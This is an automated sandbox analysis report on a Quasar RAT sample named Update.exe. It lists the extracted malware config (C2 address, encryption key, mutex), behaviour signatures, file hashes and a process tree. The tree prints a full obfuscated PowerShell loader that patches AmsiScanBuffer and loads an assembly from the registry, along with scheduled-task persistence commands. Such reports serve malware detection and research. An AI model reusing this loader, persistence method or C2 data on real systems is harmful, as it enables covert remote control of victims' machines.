Analysis

  • max time kernel
    58s
  • max time network
    56s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240412-en
  • resource tags

    arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    21-04-2024 16:56

Errors

Reason
Machine shutdown: "{\"level\":\"info\",\"time\":\"2024-04-21T16:57:31Z\",\"message\":\"Dirty snapshot: /var/lib/sandbox/hatchvm/win11-20240412-en/instance_3-dirty.qcow2\"}"

General

  • Target

    Update.exe

  • Size

    409KB

  • MD5

    ed68b64af85a06a4d3edfb0eedbd5a00

  • SHA1

    668dbc4990b0a1cdd2f0c254f41b539e9b69afc1

  • SHA256

    347776cb31b6dfbb5a5cbb39e617b3913b8af8a0a826468b7e0df3b4738fc184

  • SHA512

    7555b7ff4534f0549f35f14b47f8a75509801e4c87e3740aaae20cf6c291b1e17e8a4f833e05d73e2a39471e93a63b75d5513e999850a840ac58a38d656990be

  • SSDEEP

    6144:nrBdTMOznI2U/rgSuXfh+8sopVpkG9YiLLLKItKbFrJCBzzFd3MI:oynI2UeXfh+X+5YiPLKItwyRd3MI

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SLAVE

C2

147.185.221.19:33587

Mutex

$Sxr-GdUyI5k46zQj7thBLl

Attributes
  • encryption_key

    y0X14czHxU2CjCZoALAD

  • install_name

    BiosUpdX64.exe

  • log_directory

    $sxr

  • reconnect_delay

    3000

  • startup_key

    $sxr-metsha

  • subdirectory

    Windows

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 41 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious behavior: LoadsDriver 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 61 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:636
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:424
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{f3750ad9-4cb9-4570-85df-1316516c3e38}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:232
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:692
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:992
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:752
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:988
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
              1⤵
                PID:1112
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                1⤵
                  PID:1120
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                  1⤵
                    PID:1144
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:dkHxaQajWUoP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$toYBvSKjiFyQNf,[Parameter(Position=1)][Type]$eJNycSawTL)$ploQdXZbGcn=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+''+[Char](101)+''+'m'+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+'l'+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'el'+[Char](101)+''+[Char](103)+'a'+[Char](116)+'e'+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+''+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+','+''+'S'+''+[Char](101)+''+[Char](97)+'l'+'e'+'d'+','+''+[Char](65)+''+'n'+''+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+'s,'+'A'+'u'+'t'+'o'+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$ploQdXZbGcn.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'p'+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+'l'+''+[Char](78)+''+[Char](97)+'me'+[Char](44)+'H'+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+'y'+''+'S'+''+'i'+''+'g'+','+[Char](80)+''+'u'+''+'b'+''+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$toYBvSKjiFyQNf).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');$ploQdXZbGcn.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+'o'+'k'+[Char](101)+'',''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](72)+''+'i'+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+',New'+'S'+'l'+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+'r'+[Char](116)+''+'u'+''+'a'+''+[Char](108)+'',$eJNycSawTL,$toYBvSKjiFyQNf).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+'m'+'e'+[Char](44)+'M'+'a'+'n'+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $ploQdXZbGcn.CreateType();}$vdfGKxhSRgIdm=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+[Char](114)+''+[Char](111)+''+'s'+''+[Char](111)+''+'f'+''+[Char](116)+''+[Char](46)+'W'+[Char](105)+''+[Char](110)+'32.'+[Char](85)+'n'+[Char](115)+''+'a'+''+[Char](102)+''+'e'+''+[Char](78)+'a'+[Char](116)+'i'+'v'+''+[Char](101)+''+'M'+''+'e'+''+[Char](116)+''+[Char](104)+''+[Char](111)+'d'+[Char](115)+'');$MPhmvvMOIWPknf=$vdfGKxhSRgIdm.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](80)+'r'+[Char](111)+'cA'+[Char](100)+''+[Char](100)+'r'+'e'+''+'s'+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+'ic,'+[Char](83)+'t'+[Char](97)+'tic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$xcBBlrHkZQgOuJVwnEf=dkHxaQajWUoP @([String])([IntPtr]);$lmTagmsJIsIKYNJSfXguzp=dkHxaQajWUoP @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$MygKAgHSIAI=$vdfGKxhSRgIdm.GetMethod(''+'G'+'e'+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+''+'H'+''+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+'er'+'n'+''+'e'+''+'l'+''+'3'+''+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')));$FtOBSJilgmdiHq=$MPhmvvMOIWPknf.Invoke($Null,@([Object]$MygKAgHSIAI,[Object](''+[Char](76)+''+[Char](111)+''+'a'+'d'+[Char](76)+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+[Char](114)+'yA')));$hxHiGCAlumGduKPMH=$MPhmvvMOIWPknf.Invoke($Null,@([Object]$MygKAgHSIAI,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+'t'+''+'u'+''+'a'+'l'+'P'+''+[Char](114)+'o'+[Char](116)+''+[Char](101)+'c'+'t'+'')));$zTsVPuE=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FtOBSJilgmdiHq,$xcBBlrHkZQgOuJVwnEf).Invoke(''+'a'+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'');$dhZDBSqVfIxjhRxuZ=$MPhmvvMOIWPknf.Invoke($Null,@([Object]$zTsVPuE,[Object]('A'+[Char](109)+'s'+'i'+'Sc'+[Char](97)+''+'n'+'B'+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+''+[Char](114)+'')));$WiQVmzucRK=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hxHiGCAlumGduKPMH,$lmTagmsJIsIKYNJSfXguzp).Invoke($dhZDBSqVfIxjhRxuZ,[uint32]8,4,[ref]$WiQVmzucRK);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$dhZDBSqVfIxjhRxuZ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hxHiGCAlumGduKPMH,$lmTagmsJIsIKYNJSfXguzp).Invoke($dhZDBSqVfIxjhRxuZ,[uint32]8,0x20,[ref]$WiQVmzucRK);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+'E').GetValue(''+'$'+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                      2⤵
                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                      • Drops file in System32 directory
                      • Suspicious use of SetThreadContext
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:1184
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                    1⤵
                      PID:1204
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                      1⤵
                        PID:1280
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                        1⤵
                          PID:1328
                        • C:\Windows\System32\svchost.exe
                          C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
                          1⤵
                            PID:1348
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1404
                            • C:\Windows\system32\sihost.exe
                              sihost.exe
                              2⤵
                                PID:2896
                              • C:\Windows\system32\sihost.exe
                                sihost.exe
                                2⤵
                                  PID:2200
                                • C:\Windows\system32\sihost.exe
                                  sihost.exe
                                  2⤵
                                    PID:4008
                                  • C:\Windows\system32\sihost.exe
                                    sihost.exe
                                    2⤵
                                      PID:4684
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                    1⤵
                                      PID:1548
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                      1⤵
                                        PID:1596
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                        1⤵
                                          PID:1604
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                          1⤵
                                            PID:1692
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k NetworkService -p
                                            1⤵
                                              PID:1708
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                              1⤵
                                                PID:1752
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                1⤵
                                                  PID:1804
                                                • C:\Windows\system32\svchost.exe
                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                                  1⤵
                                                    PID:1836
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                    1⤵
                                                      PID:1844
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                      1⤵
                                                        PID:1876
                                                      • C:\Windows\sysmon.exe
                                                        C:\Windows\sysmon.exe
                                                        1⤵
                                                          PID:2632
                                                        • C:\Users\Admin\AppData\Local\Temp\Update.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\Update.exe"
                                                          1⤵
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:3360
                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                            "schtasks" /create /tn "$sxr-metsha" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Update.exe" /rl HIGHEST /f
                                                            2⤵
                                                            • Creates scheduled task(s)
                                                            PID:5064
                                                          • C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64.exe
                                                            "C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64.exe"
                                                            2⤵
                                                            • Executes dropped EXE
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            • Suspicious use of SetWindowsHookEx
                                                            • Suspicious use of WriteProcessMemory
                                                            PID:4356
                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                              "schtasks" /create /tn "$sxr-metsha" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64.exe" /rl HIGHEST /f
                                                              3⤵
                                                              • Creates scheduled task(s)
                                                              PID:1436
                                                          • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                                            2⤵
                                                            • Executes dropped EXE
                                                            PID:2140
                                                          • C:\Windows\SysWOW64\SCHTASKS.exe
                                                            "SCHTASKS.exe" /create /tn "$77Update.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Update.exe'" /sc onlogon /rl HIGHEST
                                                            2⤵
                                                            • Creates scheduled task(s)
                                                            PID:1940

                                                        Network

                                                        MITRE ATT&CK Matrix ATT&CK v13

                                                        Execution

                                                        Scheduled Task/Job

                                                        1
                                                        T1053

                                                        Persistence

                                                        Scheduled Task/Job

                                                        1
                                                        T1053

                                                        Privilege Escalation

                                                        Scheduled Task/Job

                                                        1
                                                        T1053

                                                        Command and Control

                                                        Web Service

                                                        1
                                                        T1102

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                          Filesize

                                                          162KB

                                                          MD5

                                                          152e3f07bbaf88fb8b097ba05a60df6e

                                                          SHA1

                                                          c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

                                                          SHA256

                                                          a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

                                                          SHA512

                                                          2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

                                                        • C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64.exe
                                                          Filesize

                                                          409KB

                                                          MD5

                                                          ed68b64af85a06a4d3edfb0eedbd5a00

                                                          SHA1

                                                          668dbc4990b0a1cdd2f0c254f41b539e9b69afc1

                                                          SHA256

                                                          347776cb31b6dfbb5a5cbb39e617b3913b8af8a0a826468b7e0df3b4738fc184

                                                          SHA512

                                                          7555b7ff4534f0549f35f14b47f8a75509801e4c87e3740aaae20cf6c291b1e17e8a4f833e05d73e2a39471e93a63b75d5513e999850a840ac58a38d656990be

                                                        • C:\Windows\Temp\__PSScriptPolicyTest_jgltipz3.wkf.ps1
                                                          Filesize

                                                          60B

                                                          MD5

                                                          d17fe0a3f47be24a6453e9ef58c94641

                                                          SHA1

                                                          6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                          SHA256

                                                          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                          SHA512

                                                          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                        • memory/232-40-0x0000000140000000-0x0000000140008000-memory.dmp
                                                          Filesize

                                                          32KB

                                                        • memory/232-47-0x0000000140000000-0x0000000140008000-memory.dmp
                                                          Filesize

                                                          32KB

                                                        • memory/232-51-0x0000000140000000-0x0000000140008000-memory.dmp
                                                          Filesize

                                                          32KB

                                                        • memory/232-41-0x0000000140000000-0x0000000140008000-memory.dmp
                                                          Filesize

                                                          32KB

                                                        • memory/232-48-0x00007FFE7E040000-0x00007FFE7E249000-memory.dmp
                                                          Filesize

                                                          2.0MB

                                                        • memory/232-125-0x00007FFE7E040000-0x00007FFE7E249000-memory.dmp
                                                          Filesize

                                                          2.0MB

                                                        • memory/232-50-0x00007FFE7CF80000-0x00007FFE7D03D000-memory.dmp
                                                          Filesize

                                                          756KB

                                                        • memory/232-43-0x0000000140000000-0x0000000140008000-memory.dmp
                                                          Filesize

                                                          32KB

                                                        • memory/232-39-0x0000000140000000-0x0000000140008000-memory.dmp
                                                          Filesize

                                                          32KB

                                                        • memory/424-136-0x00007FFE7E0E3000-0x00007FFE7E0E4000-memory.dmp
                                                          Filesize

                                                          4KB

                                                        • memory/424-91-0x0000025521850000-0x000002552187B000-memory.dmp
                                                          Filesize

                                                          172KB

                                                        • memory/424-142-0x00007FFE7E0E6000-0x00007FFE7E0E7000-memory.dmp
                                                          Filesize

                                                          4KB

                                                        • memory/636-55-0x0000028453EE0000-0x0000028453F0B000-memory.dmp
                                                          Filesize

                                                          172KB

                                                        • memory/636-66-0x00007FFE7E0E4000-0x00007FFE7E0E5000-memory.dmp
                                                          Filesize

                                                          4KB

                                                        • memory/636-65-0x0000028453EE0000-0x0000028453F0B000-memory.dmp
                                                          Filesize

                                                          172KB

                                                        • memory/636-56-0x0000028453EE0000-0x0000028453F0B000-memory.dmp
                                                          Filesize

                                                          172KB

                                                        • memory/636-54-0x0000028453EB0000-0x0000028453ED5000-memory.dmp
                                                          Filesize

                                                          148KB

                                                        • memory/692-92-0x00007FFE7E0E4000-0x00007FFE7E0E5000-memory.dmp
                                                          Filesize

                                                          4KB

                                                        • memory/692-70-0x0000025293CB0000-0x0000025293CDB000-memory.dmp
                                                          Filesize

                                                          172KB

                                                        • memory/692-82-0x0000025293CB0000-0x0000025293CDB000-memory.dmp
                                                          Filesize

                                                          172KB

                                                        • memory/692-85-0x00007FFE3E0D0000-0x00007FFE3E0E0000-memory.dmp
                                                          Filesize

                                                          64KB

                                                        • memory/692-87-0x00007FFE7E0E3000-0x00007FFE7E0E4000-memory.dmp
                                                          Filesize

                                                          4KB

                                                        • memory/692-96-0x00007FFE7E0E6000-0x00007FFE7E0E7000-memory.dmp
                                                          Filesize

                                                          4KB

                                                        • memory/752-100-0x000001F9FA6D0000-0x000001F9FA6FB000-memory.dmp
                                                          Filesize

                                                          172KB

                                                        • memory/988-107-0x000001D439B00000-0x000001D439B2B000-memory.dmp
                                                          Filesize

                                                          172KB

                                                        • memory/992-81-0x000001A93DA60000-0x000001A93DA8B000-memory.dmp
                                                          Filesize

                                                          172KB

                                                        • memory/1184-38-0x00007FFE7CF80000-0x00007FFE7D03D000-memory.dmp
                                                          Filesize

                                                          756KB

                                                        • memory/1184-37-0x00007FFE7E040000-0x00007FFE7E249000-memory.dmp
                                                          Filesize

                                                          2.0MB

                                                        • memory/1184-36-0x0000020D9DA00000-0x0000020D9DA2A000-memory.dmp
                                                          Filesize

                                                          168KB

                                                        • memory/1184-35-0x0000020D9D590000-0x0000020D9D5A0000-memory.dmp
                                                          Filesize

                                                          64KB

                                                        • memory/1184-120-0x00007FFE7CF80000-0x00007FFE7D03D000-memory.dmp
                                                          Filesize

                                                          756KB

                                                        • memory/1184-34-0x0000020D9D590000-0x0000020D9D5A0000-memory.dmp
                                                          Filesize

                                                          64KB

                                                        • memory/1184-33-0x0000020D9D590000-0x0000020D9D5A0000-memory.dmp
                                                          Filesize

                                                          64KB

                                                        • memory/1184-32-0x0000020D9D670000-0x0000020D9D692000-memory.dmp
                                                          Filesize

                                                          136KB

                                                        • memory/1184-67-0x00007FFE5CB90000-0x00007FFE5D652000-memory.dmp
                                                          Filesize

                                                          10.8MB

                                                        • memory/1184-23-0x00007FFE5CB90000-0x00007FFE5D652000-memory.dmp
                                                          Filesize

                                                          10.8MB

                                                        • memory/1184-104-0x00007FFE7E040000-0x00007FFE7E249000-memory.dmp
                                                          Filesize

                                                          2.0MB

                                                        • memory/3360-22-0x0000000074FE0000-0x0000000075791000-memory.dmp
                                                          Filesize

                                                          7.7MB

                                                        • memory/3360-4-0x0000000005210000-0x0000000005220000-memory.dmp
                                                          Filesize

                                                          64KB

                                                        • memory/3360-1-0x0000000074FE0000-0x0000000075791000-memory.dmp
                                                          Filesize

                                                          7.7MB

                                                        • memory/3360-2-0x00000000056F0000-0x0000000005C96000-memory.dmp
                                                          Filesize

                                                          5.6MB

                                                        • memory/3360-0-0x0000000000690000-0x00000000006FC000-memory.dmp
                                                          Filesize

                                                          432KB

                                                        • memory/3360-7-0x0000000006420000-0x000000000645C000-memory.dmp
                                                          Filesize

                                                          240KB

                                                        • memory/3360-6-0x0000000005ED0000-0x0000000005EE2000-memory.dmp
                                                          Filesize

                                                          72KB

                                                        • memory/3360-5-0x00000000052C0000-0x0000000005326000-memory.dmp
                                                          Filesize

                                                          408KB

                                                        • memory/3360-3-0x0000000005220000-0x00000000052B2000-memory.dmp
                                                          Filesize

                                                          584KB

                                                        • memory/4356-13-0x0000000074FE0000-0x0000000075791000-memory.dmp
                                                          Filesize

                                                          7.7MB

                                                        • memory/4356-57-0x0000000074FE0000-0x0000000075791000-memory.dmp
                                                          Filesize

                                                          7.7MB

                                                        • memory/4356-80-0x0000000004BE0000-0x0000000004BF0000-memory.dmp
                                                          Filesize

                                                          64KB

                                                        • memory/4356-14-0x0000000004BE0000-0x0000000004BF0000-memory.dmp
                                                          Filesize

                                                          64KB

                                                        • memory/4356-16-0x0000000006140000-0x000000000614A000-memory.dmp
                                                          Filesize

                                                          40KB

                                                        • memory/4356-217-0x0000000074FE0000-0x0000000075791000-memory.dmp
                                                          Filesize

                                                          7.7MB